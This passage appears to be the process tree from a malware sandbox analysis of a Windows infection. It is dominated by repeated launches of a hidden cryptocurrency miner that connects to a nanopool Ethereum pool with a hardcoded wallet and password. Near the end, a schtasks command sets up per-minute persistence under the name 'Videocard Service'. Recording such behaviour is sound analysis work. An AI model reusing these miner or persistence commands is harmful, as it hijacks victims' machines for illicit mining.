  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1716
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1676
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2084
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1856
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1920
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1944
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2300
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1800
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1972
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2144
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3156
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3176
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3236
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3324
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3400
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3460
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3488
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3500
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3528
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3624
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3680
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3732
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3784
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3848
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3908
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3996
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4056
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4084
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1852
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:268
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2416
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3492
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3132
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2700
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3732
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3524
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4068
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1432
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3408
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3332
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:992
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3324
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2092
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3180
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1404
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2792
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3696
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4052
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4004
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3128
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3268
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2416
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3380
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2984
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1956
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3500
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3676
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3712
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4000
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2400
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4060
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1956
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3500
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3556
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2796
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3796
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3772
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3268
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2360
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3144
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2320
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4032
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3344
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4052
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2968
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3680
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1432
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2360
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2816
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1104
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3552
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2240
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3828
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1472
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4052
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3708
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2736
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3196
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3472
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3144
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4244
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4380
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4636
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4700
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4772
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4872
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5084
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4108
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:532
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1804
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3992
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4736
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2756
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4612
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1096
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1472
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1080
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4876
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2328
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4548
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4608
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:2668
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4456
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3108
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4712
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3380
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3368
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:1772
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3684
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5472
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5820
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5136
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5472
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5316
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5208
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:5468
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:3704
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4896
  - - C:\ProgramData\Data\externndll.exe
      -pool eth-eu1.nanopool.org:9999 -wal 0x05E050c023DDFe7Ea87e6aDd6cCa9382D60Fc31D/ddwkyy2 -pass 137137q
      4⤵
      PID:4512
- - C:\Users\Admin\AppData\Local\Temp\Jampots.exe
    "C:\Users\Admin\AppData\Local\Temp\Jampots.exe"
    3⤵
    PID:2812
  - - C:\Users\Admin\AppData\Local\Temp\Jampots.exe
      C:\Users\Admin\AppData\Local\Temp\Jampots.exe
      4⤵
      PID:2916

C:\Users\Admin\AppData\Local\Temp\C101.exe
C:\Users\Admin\AppData\Local\Temp\C101.exe
1⤵
PID:1744

C:\Users\Admin\AppData\Local\Temp\80D8.exe
C:\Users\Admin\AppData\Local\Temp\80D8.exe
1⤵
PID:2800
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Videocard Service" /tr "C:\Users\Admin\AppData\Local\Temp\80D8.exe" /f
  2⤵
  - Creates scheduled task(s)
  PID:2756

C:\Users\Admin\AppData\Local\Temp\DF5C.exe
C:\Users\Admin\AppData\Local\Temp\DF5C.exe
1⤵
PID:2140

C:\Users\Admin\AppData\Local\Temp\DFB.exe
C:\Users\Admin\AppData\Local\Temp\DFB.exe
1⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\6198.exe
C:\Users\Admin\AppData\Local\Temp\6198.exe
1⤵
PID:2664

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2284

C:\Windows\explorer.exe
